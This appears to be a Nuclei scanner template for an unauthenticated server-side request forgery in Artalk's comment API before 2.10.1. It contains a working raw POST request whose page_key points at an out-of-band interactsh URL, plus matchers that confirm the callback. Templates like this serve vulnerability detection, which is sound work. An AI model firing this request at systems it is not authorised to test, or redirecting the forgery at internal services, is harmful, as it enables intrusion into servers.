id: CVE-2026-117565 info: name: "Artalk - Unauthenticated Server-Side Request Forgery" author: vedas-arpsyndicate severity: medium description: | Artalk before 2.10.1 contains an unauthenticated server-side request forgery in its comment API. An anonymous POST /api/v2/comments whose page_key is a URL causes the server to fetch that URL via GetTitleByURL (internal/dao/service.go), which only validates the scheme before calling http.Get, so an attacker can make the server request arbitrary internal or external URLs. This template submits an anonymous comment whose page_key points at a unique out-of-band collaborator URL and confirms the vulnerability when the Artalk server performs the resulting DNS/HTTP request to that collaborator. reference: - https://www.exploit.observer/?keyword=CVE-2026-117565&match=exact - https://subdomain.center/?engine=ammonites&keyword=artalk&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2026-117565 cwe-id: CWE-918 metadata: verified: false tags: cve,cve2026,artalk,ssrf,oob,unauth http: - raw: - | POST /api/v2/comments HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"name":"vedas","email":"vedas@example.com","content":"vedas-ssrf-probe","page_key":"http://{{interactsh-url}}/","page_title":"vedas","site_name":"","link":""} matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - "dns" condition: or